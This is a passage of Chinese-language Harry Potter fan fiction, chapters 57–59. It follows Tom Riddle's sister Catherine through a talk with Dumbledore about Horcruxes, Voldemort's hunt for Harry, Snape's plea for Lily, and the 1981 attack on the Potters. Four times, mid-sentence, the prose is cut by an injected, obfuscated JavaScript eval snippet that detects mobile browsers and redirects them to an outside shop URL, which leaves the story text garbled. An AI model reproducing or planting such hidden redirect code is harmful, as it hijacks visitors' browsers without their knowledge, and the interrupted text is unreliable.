凯瑟琳和雷古勒斯与邓布利多面对面地坐在办公桌的两侧,桌上放着三杯麻瓜饮料冰镇柠檬汁,凯瑟琳和邓布利多已经干了三杯,而雷古勒斯只喝了一小口。 “我很高兴能在这里见到你们。”邓布利多在听完凯瑟琳和雷古勒斯讲述了经历之后正色说道,“你们的选择很危险,也是至关重要的。那么,凯瑟琳,雷古勒斯,你们后面打算怎么做呢?很显然,把你们放入凤凰社并不合适。” “我也不知道……”凯瑟琳担心地说,“现在我在和雷古勒斯学习魔咒,进展还算喜人——毕竟有以前的基础在,加上布莱克家祖传的练习魔杖和我的匹配度挺高……我目前的想法是让雷尔继续留在……他……身边,打探情报,这样我们就能随时追踪他的动向。” “噢……我想,做间谍的任务或许还有其他不错的选项。”邓布利多悠悠地说,“不过目前来看,你的想法就是最好的解法,我现在也很需要知道伏地魔的行踪,雷古勒斯,你可以吗?” 雷古勒斯点了点头。 “很好,看来今天我们又距离胜利的曙光近了一步。”邓布利多满意地微笑起来。 当凯瑟琳二人与邓布利多的谈话接近尾声的时,邓布利多看到了凯瑟琳欲言又止的样子,于是示意雷古勒斯先行离开,他和凯瑟琳单独谈谈。 等到听着雷古勒斯关上校长室的橡木大门脚步声远去后,凯瑟琳开口问道: “邓布利多教授,你当着我的面做了那么多部署,不担心因为我和那个人的关系,我会加入他的队伍吗?” 邓布利多的蓝眼睛温和地看着她。 “那么凯瑟琳,你会吗?” “……我比任何人都希望他过的好,不仅仅是活着,而是能够健康和快乐。”凯瑟琳深吸一口气说道,“正因如此,我害怕在我见到他的时候会动摇。” 邓布利多依旧面带微笑,“凯瑟琳,你比我见到的任何学生都了解自己的内心,在你和我讲述你和哥哥的过去的时候,我就意识到这一点。以后你们一定会有正面冲突的时候,但是,当你想到你哥哥的愿望是建立在无数无辜之人的生命和尸骨之上,还会动摇吗?” “我不知道……”凯瑟琳觉得嘴巴有些干,想要喝柠檬汁,然后发现自己已经又喝光了一杯。 “我怕对不起雷古勒斯和尼可·勒梅为了复活我做出的牺牲,如果到最后,发现我还是更爱哥哥,站在他的那一边怎么办?” “那我想问你一个问题,凯瑟琳。”邓布利多依旧微笑。 “密室的时候,即使你不能使用任何的魔杖,也知道你根本打不过他,为什么还要去阻止?” “因为我认为密室会带来不好的事情,他说要把不该留在霍格沃茨的学生清理掉,并且在后面发生了好几起学生遇袭的事件。”凯瑟琳说道,“我当时大概猜到这是他的手笔,但没想到他其实策划了更邪恶的事情。” 邓布利多点点头,“但幸运的是,你现在知道了,不是吗?那么你未来的路就很清楚了。” “你希望我杀了他?”凯瑟琳问。“不!我绝不可能做到。” “我没有这个意思。”邓布利多说,“而且,即使杀了他,也不足以偿还他犯下的罪孽。” “什么意思?”凯瑟琳的脸色一下就变的惨白了,她看起来有些恼怒,但却又理亏,不知道能够说些什么。 在那一刻,邓布利多施了一个魔咒,凯瑟琳看到他魔杖尖变出了一条蛇的烟雾,长着两个脑袋。然后,那条两头蛇分裂了。 墙上的校长画像发出惊讶的嘘声,菲尼亚斯却打起呼噜。 “从那一刻起,他的本质就分裂了。”邓布利多说道——他施展了这种奇怪的魔法,凯瑟琳观看着那条蛇不断地分裂——些都是邓布利多的魔法,真正分裂的不是这条蛇,而是她的哥哥。她不由得虚虚地抚摸了一下胸前的那个位置,挂坠盒被藏在里面,那是他的魂器之一,但是她并不打算现在就告诉邓布利多。 “他不断杀人、分裂、杀人、分裂。”邓布利多说道,“本质就是灵魂。他将灵魂分装,制成魂器,以实现永生。因此,要阻止他,必须摧毁他所有的魂器。他的□□和魔法可以死去,但是灵魂将不断被惩罚,换言之,他终究自己吞下自己的苦果。” “他是我哥哥……他不能……我不希望他有任何痛苦,包括他的灵魂。” “他现在已经不是你哥哥了,凯瑟琳。早在他不听阻止施行残忍的报复的时候,他就抛弃了自己的过去——而且,你知道的——他把自己的灵魂分裂了太多次……几乎残破得无法修复。” “不!不要!”凯瑟琳大喊道,她捂住了自己的耳朵。 与凯瑟琳的激动相比,邓布利多依旧很冷静。 “我知道,你要跨出那一步,要做很多的心理建设,是很艰难的事情。” 凯瑟琳低头不语,她捂着自己的耳朵,拒绝听邓布利多解释任何她哥哥必须死的原因。邓布利多却继续说了下去。 “你知道如果我们摧毁了他的魂器,他的灵魂最终会去哪里吗?我人生的八十多年的研究让我很荣幸能够摸到大概:他的灵魂最终会被困到迷离 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12984507|135277||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 幻境,那是处于中间世界的困境,让他会不生不死的状态,永远被困在那里,永不能超生,不能再世为人,他会一直可怜又可悲地待在那里,一直为自己的过去忏悔。” 凯瑟琳抬起了头,她的眼里带上了恐惧。“所以,只有摧毁了魂器才能阻止他,但是死亡并不是对他的最终的惩罚,真正的命债,是让他以灵魂被永远囚禁和折磨来偿还?” “我想,是的。” 邓布利多依旧笑着,但是蓝眼睛里已经没有了温度。他永远是那样的运筹帷幄,永远游刃有余。 令人意外的是,凯瑟琳反而冷静了下来,她垂下眼睛,盯着自动蓄满柠檬汁的杯子。 “邓布利多先生……如果我找到了修补他灵魂的方法,你能否网开一面,能否饶恕他的灵魂?” “即便如此,你仍要帮他?” “我知道……我知道……我太自私了……但是,邓布利多先生,如果我的修补能挽回他堕落的灵魂,可不可以……这是我唯一的请求。” “能让他悬崖勒马的时期已经过去了,凯瑟琳。”邓布利多平静地说。“你和我,我们都没能在一切变得不可挽回之前意识到这些。” “求你了!……只要你答应我的这个请求,我愿意做任何事。”凯瑟琳恳求道,她的眼泪不断从眼眶中涌出,打湿了黑色的斗篷。 房间内一阵沉默,其他校长的画像都在屏息凝神地听着,个个眉头紧皱、神色凝重。 “很好,凯瑟琳。看来,现在你已经能做出坚定的选择了。”良久,邓布利多终于说道。 凯瑟琳再次抬起头,她明白邓布利多是同意了。 “摧毁他的魂器,怎么够呢?”邓布利多说道。 “你的意思是……?” “凯瑟琳,如果你想要尝试修复他的灵魂,就得从他手里抢人头。越多的本不该牺牲的人被救下来,才是真正拯救他的灵魂。” 邓布利多站起身,魔杖尖变出的双头蛇停止了分裂。 “我,你,还有任何其他人,都没有资格审判他……最终的结局,是他自己为自己定下的。” “我接受。”凯瑟琳说,尽管泪痕还残留在脸上,眼神已经变得坚定。 “你看。”邓布利多说道,“你一开始想和我谈的问题已经解决了——你问我为什么愿意相信你会坚定地站在凤凰社这一方。哪怕是为了最后救他一次,你也不会再选择和他同流合污。” 凯瑟琳点了点头。 “还有一点,以你现在的身份,这些事我们都得秘密进行,谁也不能告诉,尤其是伏地魔。” “我也是这么认为的。”凯瑟琳答应道。她朝邓布利多鞠了一躬,离开了校长室。 59.chapter57 …… 五岁的凯瑟琳有着乌黑的头发和眼睛,她坐在床上,而他坐在她面对的书桌前。 “哥哥……” “怎么了?” “你看见了吗?昨天丽达太太又把一个人拖进后院了。”她睁着大大的眼睛望着他,眼里是无尽的担忧和恐惧。 在孤儿院里,物资匮乏,不少身体不好的孤儿最后都死去了。而“被拖进后院”就代表着他们将被埋进土里。 “嗯。”他回答。 凯瑟琳的头垂了下去,似乎想问什么,但又不敢开口。 “怎么了?”他察觉了,所以他问了。 “哥哥,那你会不会突然死掉?”她问道。 这个问题太突然了,他只觉得浑身一震,像是被雷劈过,又像是心中一个隐秘的位置被揭开。在那之前,他就已经想过无数次,为了避免死亡,他必须活下去——好在,他一直很健康。 “你为什么问这个?” “因为……因为……我不希望你死。”凯瑟琳的声音低了下去,声音细若蚊吟。 “我好害怕,如果你死了,就只剩我一个人了。” 原来如此。 过去的一些事情像拼图一样被拼凑了起来,最近每次他想要单独行动,凯瑟琳都要问他去哪里,并且让他一定要注意安全。吃饭的时候,尽管食物干巴且清汤寡水,但是凯瑟琳坚持要把自己的那一份留出一半给他。让他一定不要饿死……五岁的小孩,哪懂得那么多,只知道填饱肚子,不生病,不被人抓走,就能活下去。 或许是凯瑟琳的眼神太可怜,或许是他自己心中本就有那种渴望,他觉得自己多了一种责任,一个必须做的事情。 他要一直活下去,他不要死,不能剩下妹妹一个人。 于是他说:“放心吧。一定不会剩你一个人的。” 他没有食言,食言的是他妹妹。 当密室事件过后她站出来为他顶罪的时候,他应该一口咬定就是海格干的,跟他妹妹没关系,这样她就不会离开他了。 但是他没有。 他应该在凯瑟琳想要于自己的默默然分离的时候死死拉住她,跟她说:你就忍心剩下我一个人吗? 他应该拦住她,让她不许走。 但是他没有。 …… 汤姆斜倚在扶手椅里,他原本闭着眼正在闭目养神,忽然就睁开了眼,捂住了心脏的位置。 “主人,你怎么了?”贝拉特里克斯冲上来关切地问道,一旁一直和贝拉争夺黑魔王最信任宝座的小巴蒂·克劳奇也赶上前来,等候着主人的吩咐。 “……没什么。”汤姆把手从胸口移开,但是仍旧微微喘着气。 他讨厌这种感觉,总是时不时无意识地回忆起过去的那些事,原本那些他以为自己都忘记的过去。 纳吉尼伏在他脚边,抬头朝他吐着信子,他伸出手,摸着它的脑袋。 今天是1980年的最后一天,也是他的54岁生日。 从三十五年前开始,他就不再记得这个日子,庆祝,更是可笑的说法。他的怀里随身携带着妹妹在四十年前送出的礼物,那本在麻瓜商店里买的最普通的日记本。 但是,这是他最珍视的礼物,也是他制作的第一个魂器。 自从一年半以前,他的心脏就会有一种奇异的感觉——这种心悸已经三十多年没有出现过了,起初他不明白为什么,以为自己只是又被懦弱的思念缠住,直到斯内普告诉他特里劳妮的预言——这让他一直以来的心悸有了十分确定的解释,因为那个能够征服自己的人出现了,它会打败自己,这是他绝对不允许的。 于是从两年前,他就开始派人去解决所有符合条件的新生儿,但并没有符合条件的人出现。 “关于预言的搜查,有什么消息吗?”他懒洋洋地抬眼问面前的一男一女。 “有的,主人。”贝拉今年三十一岁,凯瑟琳的灵魂在她身体里保存得很好,因为她看起来美极了,或许是长期接触黑魔法杀人的缘故,她不如十几年前和凯瑟琳有着三分相似,只剩下恶毒和独属于纯血的傲慢。“我最近查到了一个出生于7月31日的男孩,波特家的,他的母亲是个泥巴种。” “没错,我也查到了——刚准备说。”小巴蒂·克劳奇急急地补充道,“他名字叫哈利·波特。而且,贝拉特里克斯,你的弟弟西里斯·布莱克还是那个男孩的教父呢!” 说完,他露出了一个窃笑。小巴蒂·克劳奇生得很英俊,有着淡金色的头发和迷人的褐色眼睛。他是老巴蒂·克劳奇的老来得子,也是唯一一个和黑魔王一样以12门全O的成绩通过owls考试的学生,并以同样优秀的成绩从斯莱特林学院毕业。 “哈利·波特……”汤姆将这个名字念着,声音令人胆寒。然后他又看向贝拉问道:“你弟弟是怎么回事?布莱克这样的老牌家族,是时候该修剪枝叶了吧?”汤姆眯起细长的蛇眼盯着贝拉特里克斯。 “当然!”贝拉特里克斯的脸色忽然变得有些绿,“您又不是不知道,西里斯早就不是我们家族的人了!他是家族的叛徒——居然被分去了格兰芬多,沃尔布加非常愤怒,早已将他从家族里除名。” “这样就对了。”汤姆用冷酷地声音说道,“贝拉,左手。” 贝拉兴奋地瞥了一眼小巴蒂,似乎是在炫耀黑魔王对她的信任并未因为他的离间小把戏而减少,小巴蒂则露出嫉恨的神色。 贝拉伸出左手臂,那里有她刚出生时意外留下的伤疤,怎么也消不掉,现在被食死徒标记盖住了——她曾经听小道消息说,黑魔王就是因此把食死徒标记定在这个位置的,尽管不知道伤是怎么来的,但她却知道自己因为这道伤而获得了黑魔王额外的关照。 汤姆抽出魔杖点了点她的食死徒标记,很快房间里就围满了戴着黑色兜帽和面具的食死徒。 “诸位。”汤姆发话了,“我已经得到了确凿的消息,预言指向的人已经出现了,他叫哈利·波特。由于有预言的特殊性,我必须亲自动手。你们谁知道,哈利·波特现在人在哪里?” “主人。”小巴蒂·克劳奇说话了,“哈利·波特一家现在住在波特的老宅子里,但是他的父母最近带着他住在凤凰社里,方便工作,因此行踪很难确定。” “哦?住在邓老头的后援团那里?”汤姆发出冷笑,其他的食死徒也低声笑起来。 只有一个人没笑。 他从人群中走了出来。 “主人,您要杀那个男孩,我定然鼎力相助……但是我有一个小小的请求。”他走上前,跪在地板上,并摘下了面具。 “西弗勒斯·斯内普。啊,是的,你是带给我这个重要预言的功臣。”汤姆毫无感恩之意地靠在扶手椅里面,居高临下地用残忍的红眼睛盯着那个食死徒。“你有什么请求?说来听听。” “就是……我想请求您不要杀死他的母亲。” “他的母亲?谁?” “莉莉,莉莉·伊万斯。请求您……” “西弗勒斯!你竟然为那个泥巴种求情?”贝拉站在汤姆身后尖叫出声。“主人,哈利·波特的母亲莉莉·波特只是个低贱的泥巴种!” “哦,你希望我饶了哈利·波特的泥巴种母亲?”汤姆呵呵笑起来,然后戏谑地问道,“你爱她?” 斯内普跪在地上,没有抬头,也没有说话。但是沉默代表了一切。 “西弗勒斯,我一直以为你是一个很清醒的人。”汤姆继续说道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12985936|135277||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,语气里似乎带着失望,“一个泥巴种不值得你去爱,况且,她都是别人的老婆了……她是莉莉·波特,不是莉莉·伊万斯。” 食死徒发出哄笑。 “请求您……”斯内普依旧重复着。“饶她一命并不会耽误您杀死哈利·波特的。” “好吧,好吧。”汤姆漫不经心地说道。“我可以饶了她,只要她肯把自己的儿子交给我。” 斯内普终于抬起了头,似乎看到了希望,可是条件太苛刻了。 他知道黑魔王对哈利的母亲是谁并不关心,但是以莉莉的性格,是绝对不会为了苟活而把自己的孩子交给黑魔王的,她一定会挡在儿子身前,而如果这样,她必然活不成。 “可是——” “我明白,你想得到她,仅此而已,是不是?”汤姆打断了他的话,摆出一副了如指掌的表情。 “……是。”西弗勒斯的眼里藏着情绪,但还是认同着他主人的话,“因此,求您饶她一命吧。” “可以。”汤姆说,“看在你对我忠诚的份上……但是我还是得说清楚,一旦她不在了,你也知道,这世上还有其他无数的女人,纯血统的女人,更值得让你拥有。” “是,主人您说得对,感谢您的大发慈悲。”斯内普重新亲吻着黑魔王的鞋尖,但是眼里的光已经熄灭了。 * 成年斯内普喘息着站在一座小山山顶,周围一片冷冷的夜色。夜风呼啸着从几乎掉光叶子的树枝间吹过。 然后一道犀利的眩目白光破空飞来,如同一道闪电。 斯内普双膝跪倒在地,魔杖也脱手飞出。 “不要杀我!” “我并没想那么做。” 邓不利多移形幻影的声响全都淹没在吹过树枝间的风声中了。他站在斯内普面前,袍子下摆猎猎飘动,他的脸被魔杖发出的光照得发亮。 “那么,西弗勒斯,伏地魔大人有什么口信带给我吗?” “不……没有口信――我是为自己的事来的!” 斯内普扭搓着双手,散乱的黑发在风中飞舞,他看上去有点癫狂。 “我,我来是想警告,不,是请求――求您――” 邓不利多轻弹魔杖,虽然叶子和树枝一直在夜风中作响,但他们面对面站着的那块地方却十分安静。 “一个食死徒会请求我做什么呢?” “那个,那个预言……特里劳妮说的那个预言……” “啊,对了,”邓不利多说道,“关于那个预言你告诉了伏地魔多少?” “所有――我听到的所有!”斯内普说,“这就是为什么――就是因为这个――他想要莉莉·伊万斯!” “那个预言没提到女人。”邓不利多说道,“只提到一个出现在七月末的――” “你知道我指的是什么!他认为那就是她的儿子,他要去抓她了,然后把他们都杀了――” “如果她对你来说这么重要,”邓不利多说道,“那伏地魔肯定会饶了她,你能不去为她求情吗,以她的儿子为交换条件?” “我做了――我是这么求他的――” “你让我恶心,”邓不利多说,他的声音里充满了憎恶。斯内普微不可查地颤抖了一下。“你不关心她丈夫和儿子的性命吧?他们死了,你就得到你想要的了?” 斯内普什么也没说,只是直直看着邓不利多。 “那就把他们藏起来!”他嘶哑着声音说道,“保证她――他们的安全,求您了!” “那么作为回报你能为我做些什么呢,西弗勒斯?” “回……回报?” 斯内普张口结舌的看着邓不利多。良久,他又开口了。 “我什么都可以做。” 60.chapter58 “你们救下了麦克米兰!凯特,你和里奥真的太了不起了!” 一个有着深红色长发和翠绿色眼睛的女人正和一个戴着面纱穿着黑斗篷的女子一起坐在卧室里为小哈利织毛衣。她们正在聊一周以前有惊无险的凤凰社成员桃乐丝·麦克米兰营救活动,被称为凯特的女人和她的搭档把桃乐丝从食死徒的魔爪下堪堪救了出来。 “你知道的,为了对抗伏地魔,我们凤凰社已经牺牲了不少人。如果桃乐丝为此遭遇不测,我和詹姆大概又会只能留在这里无能为力而难过。” 那个红发绿眼的女子正是莉莉,而蒙面的女子是凯瑟琳,凯特是邓布利多为她隐藏身份修改的化名。詹姆则在隔壁的卧室里照顾哈利,还能听见他命令房间里那只英国短毛猫安静的声音。 “是啊。真希望这一切都能快点过去。” 凯瑟琳说道,她的语气比莉莉要沉静许多,“莉莉,这边应该怎么织?抱歉,我第一次学这个。” “哦,这个好办……”莉莉贴心地帮她修补了错误的针脚,然后重新将毛衣递回凯特手上。“一开始邓布利多先生安排你一个不是凤凰社的成员留在这里,我和詹姆都有些不放心,现在看来,只是我多虑了。” “噢,确实。有一些不可抗因素让我不能直接暴露我的身份。” 凯瑟琳抚摸了一下自己的面纱,确定它还戴在脸上,然后快速地转移了话题,“说真心话,做针线活真的很能打发时间。” “手动做针线活就是更有参与感,莫丽·韦斯莱似乎更喜欢用魔法编织——我认为她只是太忙了,因为她不止有一个儿子要照顾。”莉莉接话道,然后她注意到了门口一闪而过的高瘦身影,画风一转,戏谑地说道:“就是詹姆倒了大霉,邓布利多先生拿走了他的隐形衣,害他不能偷偷出去郊游了——出去转转都不行。所以他只能安慰自己待在这里是绝对安全的。” 卧室门口适时探出了戴着黑框眼镜的一个脑袋,“莉莉!你又调侃我!本来就够伤心了……”卧室里的两个女人同时笑了起来。 “哈利有你们这么好的父母,真是幸运极了。”当詹姆缩回哈利的小房间时,凯瑟琳说道。“父母永远是他最坚强的后盾,这样的感觉多好呀。” “谢谢你这么说,凯特。”莉莉温柔地回应,“你的遭遇让我很难过。不过,我记得你说过,你有一个哥哥,对吗?你们关系如何?” “还……还行吧。”凯瑟琳不知道应该怎么回答这个问题,只能勉强地笑笑,“我们小时候,因为会魔法,在孤儿院里是最不受欢迎的存在——包括科尔夫人,他们都说我们很古怪。我想,他们很害怕我们。不过,当孤儿也有好处,最起码我们不用为如何获得父母更多的爱而烦恼——因为他们对我们的爱本来就是零。” “别这么说。”莉莉搂住凯瑟琳的肩膀安慰她,“或许他们只是不会表达……唉。你看这个。”她腾出一只手,指着放在桌上的一个制作并不精良的花瓶,继续说道,“这是去年圣诞节的时候,我姐姐送给我的礼物。后来伏地魔要来抓我的儿子,我们就躲在了这里——本来不打算把这个花瓶带过来的,但一想到可能很久都不能回去,最后它出现在了这里。” “你说佩妮?我记得她是麻瓜。”凯瑟琳说道。 “是的,她小时也很害怕我的魔法。一直说我是怪胎。”莉莉说道,尤其是说道“怪胎”这个词的时候,似乎格外受伤。“不过,她其实也很想去霍格沃茨学魔法,还偷偷给邓布利多写过信。但是邓布利多拒绝了,他说麻瓜没办法去霍格沃茨上学。” 凯瑟琳认真地听着。 “我希望能和姐姐打好关系,所以在霍格沃茨上学的时候,我经常想讨好她,经常带一些神奇的食物给她……但是她都扔掉了。” “她那是嫉妒你,莉莉。你一点错都没有。”凯瑟琳说道。 “其实我意识到了……但是我希望姐姐能爱我,希望她能像父母那样为我会魔法而自豪,希望有朝一日能够和解。只可惜,现在一直都没有实现。”莉莉说,“我姐姐的丈夫特别嫌弃詹姆,说他看起来像个混混,导致我们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13007137|135277||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的来往越来越少,只有每年圣诞节会互送礼物——就比如这个花瓶。” “它看起来并不是一个用心挑选的礼物。”凯瑟琳在面纱下撇了撇嘴。 “谁让她是我姐姐呢。”莉莉说,“也许再等等,我们就能和好了……” 正聊着,门铃响了起来。 “巴希达女士来了!”莉莉说道。 詹姆跑去开门,凯特和莉莉也放下针线活去楼下迎接。 那是一个头发花白的老太太,看起来已经很老了,手里还提着一个小蛋糕。“詹姆,莉莉,噢,还有凯特!我又来啦,今天是哈利的生日,我给他做了小蛋糕。” “真是太谢谢您了!大脚板又在忙凤凰社里的事情,今年看来是来不了了。我们一直待在这个房子里真是让人觉得无聊。”莉莉一边接过蛋糕,一边牵着巴希达上楼坐坐。 * 他们过了一个相当平静的生日茶会,巴希达又讲了不少关于邓布利多非常有趣的旧事。当巴希达离开后,詹姆收到了西里斯寄来的小扫帚。 “真不愧是他!”詹姆夸赞着,然后拆开了礼物里附带的一张信。“他说他原本打算给哈利买个机车,但是想想他才一岁,就换了一个礼物——天呐,当心!” 小哈利已经跨上了扫帚,然后腾空而起。他似乎很有天赋,只是不知道应该怎么控制,很快跌了下来,正好砸在英短身上,那只猫“喵”地尖叫了一声,窜出了房间。 “看来我儿子未来一定会在魁地奇上大放光彩!”詹姆自豪地握起拳头,然后被莉莉揪住了耳朵。“你看着点他!别让他摔着了!” 说话间,小哈利已经冲出了房间,飞到了隔壁的卧室,然后只听到玻璃碎裂的声音,佩妮送的花瓶倒在地上砸成了无数片。 当波特夫妇一个忙着把家里的装饰摆件都收起来,一个随时追在哈利身后的时候,凯瑟琳走下了楼梯。 “抱歉,莉莉,还有詹姆。”她说,“隆巴顿一家出事了,我得赶过去一趟。还有,哈利生日快乐!” 61.chapter59 刚复活的时候,凯瑟琳并没有意识到自己的变化,直到她能够拿起魔杖施展魔法,能够自如地使用魔咒,变形术,以及当她和雷古勒斯分别扶着隆巴顿夫妇坐在扫帚上返回凤凰社势力范围的时候,她才切身地体会到那个压在她身上长达十年的默默然真的被杀死了。 1981年的万圣节,凯瑟琳如同往日一样站在被施了赤胆忠心咒的房子外面守着波特一家。 正如她和莉莉聊天时所说的那样,她羡慕极了,小哈利有着非常爱他的爸爸妈妈,他们总会变着戏法逗哈利开心,那个调皮的小男孩才一岁就会骑着教父送给他的扫帚满屋子乱飞。 窗帘没有拉上,她清楚地看到他们在小客厅里,那个高个子的黑发男人戴着眼镜,手中的魔杖顶端冒出一团团彩色的烟雾,穿着蓝色睡衣的黑发小男孩被逗乐了,那孩子笑着想要用自己的小拳头抓住烟雾…… 房门开了,男孩的母亲走了进来,他听不到她说了什么,她深红色的长发披在脸上,父亲把孩子抱给母亲,然后把魔杖扔到沙发上,一边伸个懒腰一边打个哈欠。 一岁的时候,她在哪里呢? 她的母亲选择不负责任地抛弃他们,她的父亲则是对她避之不及,似乎她是什么洪水猛兽。除了哥哥的掌心会冒出烟花逗她开心,没有人会再那样无条件地爱着她。 但是,她所向往的父爱、母爱,还有那个温柔的哥哥,都不在了。 哈利,他多幸福啊。 她希望那个人永远不要找到他,永远不要破坏这样幸福的家庭。 她的心忽然猛地一跳,然后她看到了不属于自己视角的画面: 夜晚潮湿又多风,两个装扮成南瓜的孩子摇摇晃晃地穿过广场,商店的窗户装饰着纸做的蜘蛛,俗艳的麻瓜饰品…… 他慢慢地向前走着,感到一个历史性的时刻即将到来――一个与未来、权利、欲望息息相关的伟大时刻。没有愤怒,因愤怒是为弱者而生;他只有抑制不住的狂喜……是的……他已经等得太久,盼得太久了…… “先生,你的衣服真漂亮!” 一个小男孩跑到他身边,当他看见兜帽笼罩下那张恐怖且扭曲的脸时,小男孩的笑容消失了,他飞快转身跑走了。 ……他的手指在袍子下面抚摸着魔杖……一个简单的动作便能让那个孩子再也见不到他的母亲……但是没必要,十分没必要…… 他走到另一条更阴暗的街上,远远看见了他的目的地,赤胆忠心咒已经失效了,而他们还不知道呢……他的动作比落叶在人行道上滑动的声音还要轻…… “不!”凯瑟琳从那个人的脑子里离开。 她不明白自己是怎么做到的,但很显然现在不是考虑这个问题的时间。她回头看向街的方向,那里果然出现了一个戴着兜帽的黑衣人,他有着她熟悉的身形。 她立刻就明白,赤胆忠心咒一定已经失效了,她必须马上通知波特一家离开。凯瑟琳快速地想着,然后飞快地冲进房子里。 “詹姆!莉莉!快跑!他找到这里了!” 门被撞开,凯瑟琳一边挥动魔杖拉上窗帘,一边催促詹姆和莉莉离开。 “什么?怎么可能?”詹姆还没有反应过来。 “来不及解释了!快点离开!” 但是黑衣人的到来快得吓人——楼下已经传来大门被“砰”地打开的声音。 “我去拖住他!莉莉,你快带着哈利逃跑!”詹姆毫不犹豫地冲了出去,甚至忘记拿起沙发上的魔杖。 “糟糕,他没带魔杖!”凯瑟琳发出惊恐地叫声。“莉莉,你魔杖呢?” “……在楼下,我随手放在浴室里了。”莉莉也是一脸慌张。 “魔杖飞来!” 凯瑟琳尝试召唤,但是魔杖并没有出现。 “来不及了。我下去帮你拿回来,你赶紧把门堵上。”凯瑟琳扶了扶面纱,拿起沙发上詹姆的魔杖冲下了楼梯。 门被打开,楼下传来詹姆让她快逃的声音,然后是凯特发出魔咒的声音,再接着就是一道绿光和重物倒地的声音。 * ——他踏过门槛,詹姆急速冲到大厅。这很简单,太简单了,愚蠢自大的父亲甚至连魔杖都没拿…… “莉莉,带上哈利快逃!他来了!逃!快跑!我去拖住他!” 拖住他?手里连魔杖都没有还想拖住他!…… 他笑了,然后说道:“阿瓦达索命!” “除你武器!”一个急匆匆的声音从楼梯上方响起。 他握魔杖的手微不可查地颤抖了一下。 是她的声音吗......他已经三十六年没有听到了。 她的咒语慢了一步,他轻松地躲开了魔咒——詹姆却没能躲开,绿光照亮了狭窄的大厅走廊,照亮了婴儿车,把它推到了墙边,楼梯栏杆在绿光映照下像被点燃的木杖一样闪亮,詹姆·波特如同断线的木偶般倒下去。 “不!”那个和凯瑟琳有着相似声音的蒙面女人从楼上冲了下来,挡在了他面前,楼上另一个女人也发出了尖叫,但她们都已经被困住了。 谁是哈利的母亲?他抬脚想要上楼。 “站住。”挡在他面前的蒙面的女人说话了,她的声音很熟悉,沉静而不卑不亢。 不。不可能是她。 绝不可能是……她根本无法使用魔咒。 这仅仅只是巧合。 “把哈利交给我。”他说道,声音比最冷的寒冬还要冷。 “你休想!”那个女子说着,举起了她的魔杖对准了他。 真是勇气可嘉。 敢用魔杖指着他的人,从来没有能够活着离开的。 黑衣人毫不客气地举起魔杖,“我再给你一次机会,让开,让我上去杀了哈利。我放你一条生路。” “昏昏倒地!”对面的女人并不理他,直接发射了咒语,但是又被他轻松地挥开了。 他已经足够宽容了。 时间已经浪费的太久了,他必须速战速决,防止他的猎物逃跑。 “阿瓦达索命!” “除你武器!” 一绿一红两个魔咒砰上了,发出滋滋的声音。很显然,她手中的魔杖并不称手,魔咒的效果被大大削弱了,她根本不是他的对手。 一切发生 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13007138|135277||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的都是那么快。 红线消失了,绿光没入了她的胸口,她倒在了地上。 他的胸口似乎震颤了一下,但是他很快稳住了身形……或许他应该揭开地上的女人的面纱看看她是谁,但是他现在有更重要的事情要办。 他跨过她,走上楼梯。 现在,他像看戏一般的看着面前红发绿眼的女人。她的魔杖也不在身边……多蠢啊,多信赖别人啊,觉得自己的安全十分保险地放在朋友那里,安全到魔杖都可以不随身携带…… 他懒散地挥了一下魔杖,堆在门口的椅子和箱子都被清理掉了……她就抱着孩子站在那边。一看到他,她就把儿子放在身后的婴儿小床里,伸出双手拦在前面,好像这样就能管用似的,好像她挡在前面就可以代替哈利…… 脑海中闪过三十几年前,那个挡在女盥洗室门口阻止他开启密室的人。 “你不能打开它。”她说。 “住口,你这个——哑炮。”他对她这么说。 她的眼里满是不可置信和哀伤…… 回忆被打断了,因为他听见面前的女人在说话。 “别动哈利,别动哈利,请别动哈利!” “一边儿去,你这愚蠢的女人……一边儿去,现在。” “别动哈利,请不要,杀了我,杀了我代替他――” “这是我最后一次警告――” “别动哈利!求求你……发发慈悲……发发慈悲……别动哈利!别动哈利!求你了……我可以做任何事情……” 